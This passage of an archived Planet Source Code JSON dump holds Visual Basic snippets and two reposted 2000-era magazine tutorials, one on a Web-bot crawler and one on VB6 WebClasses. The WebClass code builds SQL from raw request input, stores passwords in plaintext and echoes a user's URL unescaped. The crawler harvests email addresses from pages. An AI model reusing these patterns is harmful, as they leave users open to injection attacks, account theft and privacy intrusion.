Planet Source Code Jumbo Resource CD Visual Basic 1 to 7

home *** CD-ROM | disk | FTP | other *** search

/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 4_2005-2006.ISO / data / PscEnc.mdb / Code.json < prev next >

Wrap

Text File | 2012-11-27 | 16MB | 1 lines

{"schema":{"WorldId":"Long Integer","id":"Long Integer","LineNumber":"Long Integer","line":"Memo/Hyperlink (255)"},"data":[{"WorldId":1,"id":39,"LineNumber":1,"line":"Function Validate_Drive (ByVal strDrive As String)\n\n On Error GoTo BAD2\n 'Dim strOldDrive As String\n 'strOldDrive = Get_Drive_Name(CurDir$)\n ChDrive (strDrive)\n 'ChDrive (strOldDrive)\n On Error GoTo 0\n Validate_Drive = True\nExit Function\nBAD2:\n Validate_Drive = False\n Resume Exit2\nExit2:\n Exit Function\n\nEnd Function\n"},{"WorldId":1,"id":40,"LineNumber":1,"line":"Function Validate_File (ByVal FileName As String) As Integer\nDim fileFile As Integer\n 'attempt to open file\n fileFile = FreeFile\n On Error Resume Next\n Open FileName For Input As fileFile\n \n 'check for error\n If Err Then\n Validate_File = False\n Else\n 'file exists\n 'close file\n Close fileFile\n Validate_File = True\n End If\nEnd Function\n"},{"WorldId":1,"id":425,"LineNumber":1,"line":"1)Create a new Visual Basic project.\n2)Add the Microsoft Internet Controls to your project. In \nVB6 you add new custom controls to a project by going to\nthe Project menu and choosing the Components sub-menu, and\nchoosing the control you want to add. In other versions of \nVB, consult your help on adding custom controls. The name \nof the custom control is: Microsoft Internet Control. This \nwill add two icons to your toolbox. Place the one that \nlooks like a globe (the Web Browser control) on your form \nby double-clicking it. This control will display the web \npage, so make sure you size it so that it looks presentable.\n3)Next, place a text box on the upper portion of the form--\nabove the WebBrowser Control. This will be your browser's \naddress bar. To complete the address bar, place a button \nnext to it. Change the Caption property of the button to:&Go\n4)Now add the following code to your form:\nPrivate Sub Command1_Click()\n WebBrowser1.Navigate Text1\nEnd Sub\nThat is it! Run your project and type www.microsoft.com \ninto the text box and press the GO button. (Dont forget to \nstart your Internet connection if its not already up). The \npage will load and display just like a browser!\nNow that you have an idea of how simple the control is to \nuse, you can take a little more time to create some more \nsophisticated functionality for your browser:\n1)Since the world wide wait can be taxing on your browser \nusers, you can create a status bar at the bottom of your \nform that lets them know how much of their page has loaded. \nYou can use the following web browser events (see the \nMicrosoft Internet Controls help file, if you need examples)\nWebBrowser1_DownloadBegin\nWebBrowser1_DownloadComplete\nWebBrowser1_ProgressChange\n2)Create a menu system on your form--just like IE and \nNetscape. See the VB help if youve never done this before. \nYou'll want to at least create &File and &Exit. \n3)Create a combobox instead of a text box that remembers \nold URLs.\n4)Let your imagination run wild!\n5) For more features, check out the other browser \nsubmissions to this site. An outstanding example is:\nhttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=2628\n6)Some other features created by other users:\nPassive Matrix(mailto:Passive_matrix@hotmail.com)\nHere are some helpful button commands...\nback button \nWebBrowser1.GoBack\nForward button\nWebBrowser1.GoForward\nrefresh\nWebBrowser1.Refresh\nstop\n WebBrowser1.Stop\nhome \nWebBrowser1.Navigate (\"www.cow.com\")\nBy William:mailto:wfloor@rendo.dekooi.nl\nAn answer to the questions about the favorites and the bookmarks:\n1) Make a \ncommandbutton cmdAdd\n2) Make a commandbutton cmdFav\n3) Make a listbox \nlstFavs\nThe code for cmdAdd:\nPrivate Sub cmdAdd_Click()\n FN = \nFreeFile\n Open \"favs.txt\" For Append As FN\n Print #FN, txtUrl.Text & \nChr(13)\n Close #FN\nEnd Sub\nThe code for cmdFav:\nPrivate Sub \ncmdFav_Click()\n On Error Resume Next\n FN = FreeFile\n Open \n\"favs.txt\" For Input As FN\n lstFavs.Visible = True\n Do Until \nEOF(FN)\n Line Input #FN, NextLine$\n lstFavs.AddItem NextLine$\n \n Loop\n Close #FN\nEnd Sub\nThe code for lstFavs:\nPrivate Sub \nlstFavs_Click()\n txtUrl.Text = lstFavs.List(lstFavs.ListIndex)\n \ntxtUrl_KeyPress 13\n lstFavs.Visible = False\n Close #FN\nEnd Sub\nBy:CheaTzZ mailto:cheatzz@xcheater.com\nTo print:\nPrivate Sub printmenu_Click()\n Dim eQuery As OLECMDF\n On \nError Resume Next\n eQuery = WebBrowser1.QueryStatusWB(OLECMDID_PRINT)\n \nIf Err.Number = 0 Then\n If eQuery And OLECMDF_ENABLED Then\n \nWebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_PROMPTUSER, \"\", \"\"\n \nElse\n MsgBox \"The Print command is currently disabled.\"\n \nEnd If\n Else\n MsgBox \"Print command Error: \" & Err.Description\n \nEnd If\nEnd Sub\n======================\nTo open up new window:\nPrivate \nSub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean)\n On Error \nResume Next\n Dim frmWB As Form1\n Set frmWB = New Form1\n \n Set \nppDisp = frmWB.WebBrowser1.Object\n frmWB.Visible = True\n Set frmWB = \nNothing\nIf you want to cancel the new window, Cancel = True.\nFor a proper progressbar:\nPrivate Sub WebBrowser1_ProgressChange(ByVal \nProgress As Long, ByVal ProgressMax As Long)\n On Error Resume Next\n \nProgressBar1.Max = ProgressMax\n ProgressBar1.Value = Progress\nEnd \nSub\nTo show the percentage:\nProgress * 100 / ProgressMax\nby: Bones mailto:kacantu@webaccess.net\nYou can easily view the source of the webpage you're\nviewing by using 2 \ncontrols: A RichTextBox control,\nand the microsoft internet transfer \ncontrol.\nIf your internet transfer control is Inet1, and your\nTextbox is \nRichTextBox1, then use the following code\ndownload and view a page's \nsource:\nRichTextBox1.Text = Inet1.OpenURL(\" address \")\nThe address must be \nthe valid URL of an .htm or .html\nfile.\n"},{"WorldId":1,"id":242,"LineNumber":1,"line":"On a form, add a 3 command buttons (cmdToggle, cmdTurnOff, cmdTurnOff) and a label. Add the following code to the form:\nPrivate Function CapsLock() As Integer\n\tCapsLock = GetKeyState(VK_CAPITAL) And 1 = 1\nEnd Function\nPrivate Sub Form_Load()\n\tIf CapsLock() = 1 Then Label1 = \"On\" Else Label1 = \"Off\"\nEnd Sub\nPrivate Sub cmdToggle_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = IIf(kbArray.kbByte(VK_CAPITAL) = 1, 0, 1)\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub\nPrivate Sub cmdTurnOn_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = 1\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub\nPrivate Sub cmdTurnOff_Click()\n\tGetKeyboardState kbArray\n\tkbArray.kbByte(VK_CAPITAL) = 0\n\tSetKeyboardState kbArray\n\tLabel1 = IIf(CapsLock() = 1, \"On\", \"Off\")\nEnd Sub"},{"WorldId":1,"id":1286,"LineNumber":1,"line":"Sub mSendEmail(ByVal vcolEmailAddress As Collection, _\n ByVal vstrSubject As String, _\n ByVal vstrBody As String)\nDim ol As New Outlook.Application\nDim ns As Outlook.NameSpace\n \n 'Return a reference to the MAPI layer\n Dim newMail As Outlook.MailItem\n \n 'Create a new mail message item\n Set ns = ol.GetNamespace(\"MAPI\")\n Set newMail = ol.CreateItem(olMailItem)\n \n 'set properties\n With newMail\n 'Add the subject of the mail message\n .Subject = vstrSubject\n 'Create some body text\n .Body = vstrBody\n \n '**************\n 'go through all\n 'addresses passed in\n '**************\n Dim strEmailAddress As String\n Dim intIndex As Integer\n For intIndex = 1 To vcolEmailAddress.Count\n \n strEmailAddress = vcolEmailAddress.Item(intIndex)\n 'Add a recipient and test to make sure that the\n 'address is valid using the Resolve method\n With .Recipients.Add(strEmailAddress)\n .Type = olTo\n If Not .Resolve Then\n 'MsgBox \"Unable to resolve address.\", vbInformation\n Debug.Print \"Unable to resolve address \" & strEmailAddress & \".\"\n 'Exit Sub\n End If\n End With\n \n Next intIndex\n \n' 'Attach a file as a link with an icon\n' With .Attachments.Add _\n' (\"\\\\Training\\training.xls\", olByReference)\n' .DisplayName = \"Training info\"\n' End With\n \n 'Send the mail message\n .Send\n End With\n 'Release memory\n Set ol = Nothing\n Set ns = Nothing\n Set newMail = Nothing\nEnd Sub\n"},{"WorldId":1,"id":7472,"LineNumber":1,"line":"From<!img alt=\"Inside Visual Basic\" border=\"0\" src=\"/vb/tutorial/vb/images/InsideVisualBasic.gif\" width=\"335\" height=\"47\">\n<a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">Inside Visual Basic Magazine</a>,<a href=\"http://www.zdjournals.com/ivb/0003/ivb0031.htm\">March 2000 \n</a>Reposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD Net Journals</a> \n \n<table align=\"right\" border=\"0\">\n <tbody>\n <tr>\n <td></td>\n </tr>\n </tbody>\n</table>\nThere's no arguing that the Internet lets us access\namazing volumes of information on virtually any subject. However, if you're like\nus, you may have found it difficult to filter out unnecessary information from\nthis enormous repository. Gathering specific facts can be time consuming, with\ndata usually scattered across many sites. Search engines like Yahoo!, HotBot,\nand even Ask Jeeves, have attempted to fill this void, but have been only\npartially successful. A recent study found that search engines have indexed less\nthan 55 percent of the Web. The same study predicted that this percentage would\nin fact continue to shrink as the number of new pages on the Internet grows.\nIn the future, people will probably turn to personal,\nautomated search programs to find what they need. These Web-bots provide more\ntargeted and thorough searches. In this article, we'll look at the Web-bot shown\nin Figure A, which lets you research any topic on the Internet. Then, we'll\ncover a few of the basics you'll need to create a Web-bot fit to rival Jeeves\nhimself!\n<h3>To boldly go where no Web-bot has gone before</h3>\nWe included both the Web-bot's project files and a compiled\nEXE in this month's download. For now, launch the EXE. To begin, enter the\nsubject you want to research in the Subject text box. For our example, we\nsatisfied our Star Trek craving.\nNext, indicate how thorough a search you want the bot to\nconduct in the Search Depth text box. High numbers make for in-depth searches,\nbut take longer to complete. Lower numbers are less thorough but complete much\nquicker. If you have a slow Internet connection and only a few minutes to run\nthe Web-bot, consider entering a 2 or 3. If you have a fast Internet connection\nor have a lot of time (for example, you may be running the program over-night),\nenter a higher number like 9 or 10. The Web-bot doesn't care how high you make\nthis number. As you can see in Figure A, we entered 3 for our search depth.\n<h3>Full speed ahead, botty</h3>\nNow, select the Show In Browser check box. This option lets\nyou monitor the bot's progress in the right browser window. The other browsing\ncheck box, Stop Each Page, pauses the Web-bot after each page to allow you to\nmonitor the results. Chances are, if you want to run the bot unattended, you\nwon't want to use this option.\nFinally, tell the Web-bot where to start. Search engines\ncan be good launching points, so if you want to start with one of these, choose\nthe corresponding option button. If you want to start at a custom URL, click the\nCustom URL option button, and then enter the URL in the text box.\nNow that we've set the Web-bot's options, we're ready to\nlaunch it. To do so, click Start Search, and then click Yes when the program\nasks if you're conducting a new search. That done, the Web-bot races ahead at\nwarp speed, looking for the information you requested. (OK, that's the last of\nthe Star Trek references, promise!)\nAt any time, if you wish to take a closer look at a URL,\njust click the Pause button. Then, find a URL in the treeview and right-click on\nit. Doing so transports the page into the browser on the right side. The program\nalso logs email addresses, as well as the URLs, in a local Access 97 database\nfor your later perusal. We called this database WebAgent.mdb.\n<h3>The anatomy of a Web-bot</h3>\nNow that we've looked at a working Web-bot, let's take a\nlook at some of the necessary features that you'll need when you create your\nown. For space considerations, we won't get into the form's exact design.\nHowever, Figure A should provide a blueprint for your own layout.\nIn addition to the controls visible at runtime, Figure B\nshows the few controls not visible. As you can see, we've placed an ImageList\nand Inet control on the form. Also, the larger box at the very bottom is an\nRTFTextbox control. Finally, note that in the main body of the Web-bot, we used\na Treeview to list the Web sites and email addresses, and a Browser control to\ndisplay the pages. Now, let's take a look at the more complex features.\nFigure B: We'll import HTML pages into the\nRTFTextbox control, and then use its Find method to search the HTML for the\nselected topic. \n<img alt=\"[ Figure B ]\" border=\"0\" src=\"/vb/tutorial/vb/images/WebBot2.gif\" width=\"470\" height=\"378\">\n<h3>Navigating to a Web page</h3>\nThe program gains its ability to load Internet Web pages\nfrom the Microsoft Internet control (shdocvw.oca). To use it, simply drop the\ncontrol onto a form and use the <code>Navigate</code> method. In our Web-bot,\nthe function <code>mNavigateToURL</code> accomplishes this task, as well as\nprovides time-out error trapping and the code to transfer raw HTML to the\nRTFTextbox control for later use. Listing A shows the code for this procedure.\nNote that <code>vstrURL</code> contains the URL that the Web-bot is currently\nanalyzing.\nListing A: Navigating to a URL\n<code>Function mNavigateToURL(ByRef rIntInternetControl\n_\nAs Inet, ByRef rbrwsBrowserControl As WebBrowser, _\nByRef rrtfTextBox As RichTextBox, ByRef vstrURL _\nAs String) As Boolean\n'set default\nmNavigateToURL = False\nOn Error GoTo lblOpenError\nrIntInternetControl.URL = vstrURL\nrIntInternetControl.AccessType = icDirect\nfrmWebBot.sbWebBot.Panels(1).Text = \"Loading \"\n_\n& vstrURL & \"...\"\nrrtfTextBox.Text = rIntInternetControl.OpenURL\nfrmWebBot.sbWebBot.Panels(1).Text = \"\"\nOn Error GoTo 0\nIf (frmWebBot.chkShowInBrowser = vbChecked) Then\nrbrwsBrowserControl.Navigate vstrURL\nEnd If\nmNavigateToURL = True\nExit Function\nlblOpenError:\nSelect Case (Err.Number)\nCase 35761\n'timeout\nCase Else\nEnd Select\nEnd Function</code>\n<h3>Displaying Web pages</h3>\nOnce the Inet control loads a page, the Web-bot needs to\ndisplay it in the right pane of the main control panel. The Microsoft Web\nBrowser control (located in the same control library as the Internet control we\njust mentioned) makes it very easy to do so. The following code causes the\nbrowser to display the current page:\n<pre>rbrwsBrowserControl.Navigate vstrURL</pre>\n<h3>Analyzing a page</h3>\nAfter loading and displaying a page, the Web-bot reads it.\nOur particular Web-bot requires two different pieces of information:\n┬á\n<ul>\n <li>The email addresses located on the page.\n <li>The links that exit the page, so the Web-bot can\n continue its journey.</li>\n</ul>\nAs you'll recall from <code>mNavigateToURL</code>, the\nWeb-bot stores the raw HTML for the page in a Rich Text Box control, <code>rrtfTextBox</code>.\nThe control's built in <code>Find</code> method allows the Web-bot to perform\nsome rudimentary searching, but the procedure must also parse the HTML document\nfrom a specific starting and ending delimiter, and extract the text that lies in\nbetween. We created the <code>mExtractHTML</code> function in Listing B to\naccomplish this task. If it finds what it's looking for, it returns the HTML\ncontents. Otherwise, it returns the empty string.\nListing B: The mExtractHTML function\n<code>Function mExtractHTML(ByVal vstrStartDelimiter _\nAs String, ByVal vstrEndDelimiter As String, _\nByRef rrtfHtml As RichTextBox, ByRef _\nrrlngPageIndex As Long) As String\nDim lngStringStart As Long\nDim lngStringEnd As Long\nOn Error GoTo lblError\nIf (vstrStartDelimiter <> \"\") Then\n'normal\nrrlngPageIndex = rrtfHtml.Find(vstrStartDelimiter, _\nrrlngPageIndex + 1)\nlngStringStart = rrlngPageIndex + _\nLen(vstrStartDelimiter)\nElse\n'start at current position\nlngStringStart = rrlngPageIndex\nEnd If\n'find ending delimiter\nrrlngPageIndex = rrtfHtml.Find(vstrEndDelimiter, _\nlngStringStart + 1)\nlngStringEnd = rrlngPageIndex - 1\n'extract text\nrrtfHtml.SelStart = lngStringStart\nrrtfHtml.SelLength = lngStringEnd - lngStringStart + 1\nmExtractHTML = rrtfHtml.SelText\n'set output value\nrrlngPageIndex = lngStringEnd + Len(vstrEndDelimiter)\nOn Error GoTo 0\nExit Function\nlblError:\nmExtractHTML = \"ERROR\"\nEnd Function</code>\nThe functions <code>mcolGetAllUrlsInPage</code> and <code>mcolExtractAllEmailAddressesOnPage</code>\nbuild on the previous function and return the links or email addresses\n(respectively) back to the calling routine via a collection. These functions are\nsmart enough to remove links and email addresses that might appear valid to a\nless sophisticated Web-bot, but really wouldn't be applicable. For example, most\nemail addresses to mailing lists are of the format subscribe@somedomain.com. The\nroutine weeds these out. Other examples of screened email addresses include\nsales@somedomain.com and support@somedomain.com.\n<h3>Avoiding infinite loops</h3>\nSome pages either link back to themselves or link to other\npages that eventually loop back to the original page. If a Web-bot doesn't keep\nan eye out for such pages, it can easily fall into an infinite loop. To avoid\nthis trap, our Web-bot does two things. First, it uses the function <code>mSaveVisitedUrl</code>\nto store every URL in the Access database. As you can see if you view the code\nin this month's download, this function uses standard ADO code for saving data\nto a database.\nSecond, before going to any new URL, it determines if it\nalready visited the page. To do so, it calls <code>mblnAlreadyVisiting</code>,\nshown in Listing C. If the database contains the URL, then the Web-bot skips the\npage, thus short-circuiting the infinite loop.\nListing C: Code to detect duplicate URL\n<code>Function mblnAlreadyVisiting(ByVal vstrURL As\nString)\nDim objConnection As ADODB.Connection\nDim objRecordset As ADODB.Recordset\n'connect to database\nConnectToDatabase objConnection\nDim strSQL As String\nstrSQL = \"SELECT * FROM WebBot_Visited_Url \" _\n& \"WHERE url='\" & vstrURL &\n\"'\"\nSet objRecordset = New ADODB.Recordset\nOn Error GoTo lblOpenError\nobjRecordset.Open strSQL, objConnection, _\nadOpenForwardOnly, adLockPessimistic\nOn Error GoTo 0\nIf objRecordset.EOF = False Then\n'found\nmblnAlreadyVisiting = True\nElse\n'not found\nmblnAlreadyVisiting = False\nEnd If\n'close recordset\nobjRecordset.Close\nSet objRecordset = Nothing\nDisconnectFromDatabase objConnection\nExit Function\nlblOpenError:\nEnd Function</code>\n<h3>Resuming operation after stopping</h3>\nShould anything unforeseen happen during a Web-bot search,\nsuch as the operating system crashing or the computer getting switched off, the\nsearch would normally have to be completely rerun. However, this would not be a\nhappy prospect for someone who was a few hours, or days, into a search, so the\nWeb-bot code is built to handle this contingency.\nTo allow the user to resume his search, the Web-bot uses\nthe same URL log that protects against infinite loops to keep track of the\ncurrently visited URL. If the application gets prematurely shut down, it will\nsimply pick up where it left off.\n<h3>Conclusion</h3>\nWeb-bots make the Web infinitely more useful because they\nallow you to pull in more information than a mere search engine, and allow you\nto gather the information into a useful format. The uses for a Web-bot are only\nlimited by your imagination, and with this article, you now have the tools to\nbuild whatever you can dream\n<!/td>\n<!/tr>\n<!/table>"},{"WorldId":1,"id":7473,"LineNumber":1,"line":"From <a href=\"http://www.zdjournals.com/asp\">Active\nServer Developer Magazine</a>, March 2000 \nReposted with Permission of <a href=\"http://www.zdjournals.com/\">ZD\nNet Journals</a> \n \nAs you probably know, Visual Basic contains many useful features that \nVBScript lacks, like sophisticated error trapping, class modules, API calls, and \nuser-defined types. If you've come to ASP programming from Visual Basic, then \nyou probably found yourself yearning for something as simple as runtime \ndebugging. Sure, Microsoft InterDev provides debugging, but let's face it, it \ncan't hold a candle to Visual Basic's IDE. If you're like us, you probably \nwished for a way to have your cake and eat it too--that is, to program ASP pages \nwith the full power of Visual Basic directly from Visual Basic's IDE. In that \ncase, you'll be happy to know that Visual Basic 6.0 gives you the ability to do \njust that. The WebClass object and Designer lets you create COM DLL's that act \nexactly like regular ASP pages. \nIn this article, we'll take you step by step through the process of building \na WebClass. When we've finished, we'll have a simple Web portal that will let \nyou register a name and password with the site, and then display a customized \nhome page based on the initial information. \n<H3>What's in a WebClass?</H3>As we mentioned, a WebClass is a COM DLL that \nserves as a type of proxy on your Web server, serving out the appropriate HTML \ncontent to client requests. Each WebClass consists of WebItems (HTML pages), \nwhich in turn consist of elements. These elements represent the items capable of \nreceiving events. To get a better grasp of exactly what you can do with a \nWebClass, let's dive right in and create the example. \n<H3>Create the Portal project</H3>To begin, launch Visual Basic and create a new \nIIS Application. (Note: you'll need Internet Information Server (IIS) and one of the following operating systems: Windows NT, Windows NT Workstation, Windows 2000, Windows 2000 Server or Windows 2000 Advanced Server). Then,\n in the Project Explorer right-click on the default \nProject1 item and choose Project1 Properties from the shortcut menu. In the \nProject Name text box, enter Portal as the project's name and click OK. \n<H3>Get to know the WebClass Designer</H3>At this point, we want to open the \nWebClass Designer and import the HTML page templates that make up the site. To \nlaunch the designer, in the Project Explorer window expand the Designers folder. \nWhen you do, Visual Basic displays the project's default WebClass object. \nDouble-click on it to open the WebClass Designer, as shown in Figure A. As \nyou create your WebClass, you'll use this window extensively throughout this \narticle. \nFigure A: Visual Basic 6.0's WebClass designer displays the WebItems \ncontained in the current project. <img alt=\"[ Figure A ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass1.gif\" width=\"460\" height=\"274\"> \nNext, in the Properties window, name the WebClass wbcPortal, and then \nchange the Name In URL property to Portal. This property determines the \nname used by VB as the WebClass's URL page, and will display to the end user \nthrough the address bar in his browser. As a result, it's important to keep the \nURL name meaningful. Now, save the project in its own folder. \n<H3>Import the HTML pages</H3>Next, let's import the site's base Web pages. \nMicrosoft designed WebClasses with the assumption that programmers would work \nwith Web pages only after a graphic designer initially created them. As a \nresult, VB doesn't contain an HTML authoring tool to assist you with Web page \ncreation. However, if you click the Edit The HTML button, Visual Basic opens the \npage in Notepad. To save time, you can use the three Web pages included in this \nmonth's download: NewUser.htm, Portal.htm, and Welcome.htm. To import these \nfiles, first copy them into the current project's directory. Then, in the \nDesigner right-click on the HTML Template WebItems folder located beneath \nwbcPortal. Choose Add HTML Template from the shortcut menu, and then select the \nfiles one at a time. After VB imports each file, it lets you rename them. Use \nthe names tplNewUser, tplPortal, and tplWelcome \nrespectively. At this point, the designer window should look similar to Figure \nB. \nFigure B: To add HTML template pages to the project, you import them \ninto the WebClass Designer. <img alt=\"[ Figure B ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass2.gif\" width=\"470\" height=\"246\"> \n<H3>Indicate the start-up page</H3>As our last setup task, we need to tell the \nWebClass which WebItem is our start-up page. To do so, double-click on wbcPortal \nin the Designer. When you do, Visual Basic displays the WebClass' Start() event. \nThis event is equivalent to a form's Load() event, and fires whenever you first \nvisit the Web site. You'll notice that VB has already inserted some default \ncode. Microsoft probably thought this was a great feature, because it allows \nWebClass newbies to get their bearings. However, 99.99 percent of the time \nyou'll want to get rid of it. Replace the existing code with <PRE>'show default class\ntplWelcome.WriteTemplate\n</PRE>Now, let's see what the Web site looks like. Click the Visual Basic Run \nbutton. When Windows displays the Debugging dialog box, make sure the Start \nComponent is selected and click OK. If Visual Basic asks if you want to create a \nvirtual root on the Web server in which to run the WebClass, choose Yes. After a \nfew seconds, your Internet browser should greet you with the screen shown in \nFigure C. You'll notice that while the page displays just fine, the Submit \nbutton doesn't actually do anything--it just takes you to an empty page. Let's \nfix that problem, next. \nFigure C: The Portal WebClass serves the necessary HTML for this \nwelcome page. <img alt=\"[ Figure C ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass3.gif\" width=\"436\" height=\"384\"> \n<H3>Create forms that work</H3>In a nutshell, we want our Web application to \nreact two different ways in response to the user data. For new members, we want \nto send them to a welcome page that gathers additional registration information. \nOn the other hand, the Web application can simply pass existing members directly \nto the portal page. To add this functionality, we need to connect events to the \nWeb pages' various elements. To begin, let's add the code that sends the user's \ninformation to a database, and then redirects them to the appropriate Web page. \nTo do so, stop the program and return to the WebClass Designer. Next, click on \nthe tplWelcome item. Visual Basic fills the right pane with a list of the page's \nelements. Double-click on the Form1 element to open the code window for this \nitem. In the actual Web page, IIS executes the code in this event whenever you \nclick Form1's Submit button. \nNext, set a Reference to the Microsoft Active X Data Objects 2.1 Library. \nWe'll use this DLL to perform the data access tasks. Now, insert the code in \nListing A, which queries the database for the user's name and password. Notice \nthat if the code doesn't find the member's name, it uses the WebClass' \n.WriteTemplate method to send him to the welcome page. If it does find the \nmember's name, then it redirects him to the portal page. \nListing A: The welcome form's event code <PRE>Private mconConnection As ADODB.Connection\nPrivate mrsUser As ADODB.Recordset\nPrivate Sub tplWelcome_Form1()\nSet mconConnection = New ADODB.Connection\nSet mrsUser = New ADODB.Recordset\n \nmconConnection.Open "Provider=Microsoft.Jet.OLEDB" _\n\t& ".3.51;Data Source=" & App.Path _\n\t& "\\portalMems.mdb"\nmrsUser.Open "SELECT * from tblUsers where " _\n\t& "txtName='" & Request("txtName") & "' " _\n\t& "AND txtPass='" & Request("txtPassword") _\n\t& "'", mconConnection, , , adCmdText\nIf mrsUser.EOF Then\n\t'user not registered--show new user screen\n\ttplNewUser.WriteTemplate\nElse\n\t'user registered--show portal screen\n\ttplPortal.WriteTemplate\nEnd If\nmrsUser.Close\nmconConnection.Close\nSet mconConnection = Nothing\nSet mrsUser = Nothing\nEnd Sub\n</PRE>As you can see, Visual Basic WebClasses have access to the same object \nmodel as Active Server Pages. The code uses the Request.Form object to retrieve \nthe user name and password from tplWelcome. \nLet's see what happens when we run the program now. Click Visual Basic's Run \nbutton, enter a user name and password in the Web page, and then click the \nSubmit button. When you do, the program recognizes a new user and takes you to \nthe new user page, as seen in Figure D. \nFigure D: Our WebClass checks a database of current members for the \ndata entered in the welcome page, and then transfers you to the appropriate Web \npage. <img alt=\"[ Figure D ]\" border=\"0\" src=\"/vb/tutorial/vb/images/webclass4.gif\" width=\"436\" height=\"384\"> \n<H3>Insert the data of your choice into WebClass tags</H3>Notice that the Name \nfield on the new user screen defaulted to a generic name entry (the password \nfield did the same, but you can't tell because...well, it's a password field). \nIt would be nice if the page remembered the info we just entered on the previous \npage, and showed it instead. To solve this problem, we'll gather the data \nexactly like we did in the tplWelcome's Form() event. This time, however, we \nalso need to actually display it to the user. You may wonder how to customize \nwhat Visual Basic displays in the HTML template. In a regular ASP page, you'd \nsimply use something like <PRE><% = Request("txtName") %>\n</PRE>as the text field's value. In a WebItem, you accomplish this substitution \nin a similar manner--you insert custom HTML tags in the HTML template. Then, in \nthe WebItem's ProcessTag() event, you provide code that instructs the WebClass \nto insert data into each tag. To see how this works, in Visual Basic click the \nEnd button, and then in the WebClass Designer, right-click on tplNewUser. Choose \nEdit HTML Template from the shortcut menu. Visual Basic displays the HTML page \nin Notepad. In addition to the many tags with which you're familiar, you'll \nprobably notice a few unusual tags as well, such as <PRE><WC@txtName>name</WC@txtName>\n</PRE>These tags are the custom tags that we mentioned previously. Just like the \nASP tag, when IIS parses the page it takes note of the WC@ elements. Unlike the \nASP tags, these custom WebClass tags are actually XML tokens, which act more \nlike bookmarks than code block indicators. To replace the custom tag's default \nvalues with text from our portal's welcome page, return to the Designer and \ndouble-click on tplNewUser. In the code window, select the ProcessTag() event. \nNow, enter the following code: <PRE>Select Case (TagName)\n\tCase "WC@txtName"\n\t\tTagContents = Request("txtName")\n\tCase "WC@txtPassword"\n\t\tTagContents = _\n\t\t\tRequest("txtPassword")\n\tEnd Select\nEnd Sub\n</PRE>As we mentioned, this event fires each time the WebClass encounters a \ncustom tag in the template that begins with WC@. The TagName input parameter \nholds the name of the custom tag being processed. The TagContents output \nparameter contains the value that the WebClass will insert into the tag. Now, \nrun the program once more, and enter a new user name and password. This time, \nwhen you click the Submit button, the new user page displays the correct data! \n<H3>Save entry data to the database</H3>At this point, we're really making \nprogress. Of course, as for the next step we need to add the code to save the \nuser info into a database and transfer them to the Portal page. To do so, return \nto the WebClass Designer and click on tplNewUser. Double-click on the Form1 \nelement in the right pane. First, add the following three variables to the \nGeneral Declarations section: <PRE>Private mstrUser As String\nPrivate mstrFavoriteURL As String\nPrivate mdteDate As Date\n</PRE>Next, add the code shown in Listing B to tplNewUser's Form1() event. \nListing B: The tblNewUser WebItem's Form1() event <PRE>Private Sub tplNewUser_Form1()\nSet mconConnection = New ADODB.Connection\nSet mrsUser = New ADODB.Recordset\nmconConnection.Open "Provider=Microsoft.Jet.OLEDB" _\n\t& ".3.51;Data Source=" & App.Path _\n\t& "\\portalMems.mdb"\nWith mrsUser\n\t.Open "tblUsers", mconConnection, _\n\t\tadOpenForwardOnly, adLockPessimistic, adCmdTable\n\t.AddNew\n\t.Fields("txtName") = Request("txtName")\n\t.Fields("txtPass") = Request("txtPassword")\n\t.Fields("txtFavURL") = Request("txtFavoriteURL")\n\t.Update\n\t.Close\nEnd With\nmconConnection.Close\ntplPortal.WriteTemplate\nSet mconConnection = Nothing\nSet mrsUser = Nothing\nEnd Sub\n</PRE>\nNow, when you run the program and submit the information on the new user \nscreen, the code stores the data in the database. Then, it transfers you to the \nfinal Portal page, which, of course, doesn't display any custom \ninformation...yet. \n<H3>Wrap it up</H3>Now we just have to spruce up the portal page, and we'll have \na complete site. Again, we need to insert the appropriate information into the \ncustom tags on this WebItem just like we did on the new user page, so that the \nuser's name and favorite URL link appear, instead of the default text. To start, \ndouble-click on the tplPortal WebItem in the Designer. In code window's General \nDeclarations section enter the following three variable declarations: <PRE>Private mstrUser As String\nPrivate mstrFavoriteURL As String\nPrivate mdteDate As Date\n</PRE>Next, select tplPortal's ProcessTag() event and enter the code shown in \nListing C. \nListing C: The tplPortal item's ProcessTag() event <PRE>Private Sub tplPortal_ProcessTag(ByVal TagName As _\n\tString, TagContents As String, _\n\tSendTags As Boolean)\nSelect Case (TagName)\n\tCase "WC@Init"\n\t\tSet mconConnection = New ADODB.Connection\n\t\tSet mrsUser = New ADODB.Recordset\n\t\tmconConnection.Open "Provider=Microsoft.Jet" _\n\t\t\t& ".OLEDB.3.51;Data Source=" & App.Path _\n\t\t\t& "\\portalMems.mdb"\n\t\tmrsUser.Open "SELECT * from tblUsers where " _\n\t\t\t& \t"txtName='" & Request("txtName") & "' " _\n\t\t\t& "AND txtPass='" & Request("txtPassword") _\n\t\t\t& "'", mconConnection, , , adCmdText\n\t\tmstrUser = mrsUser("txtName")\n\t\tmstrFavoriteURL = mrsUser("txtFavURL")\n\t\tmdteDate = mrsUser("dtSignUp")\n\t\tmrsUser.Close\n\t\tmconConnection.Close\n\t\tTagContents = ""\n\tCase "WC@txtName"\n\t\tTagContents = mstrUser\n\tCase "WC@dteDate"\n\t\tTagContents = mdteDate\n\tCase "WC@txtFavoriteURL"\n\t\tTagContents = "<a href=" & Chr(34) _\n\t\t\t& mstrFavoriteURL & Chr(34) & ">" _\n\t\t\t& mstrFavoriteURL & "</a>"\nEnd Select\nEnd Sub\n</PRE>Now run the app, enter in a user name and password, click Submit, \nand enter your favorite URL. When you click Submit, the portal 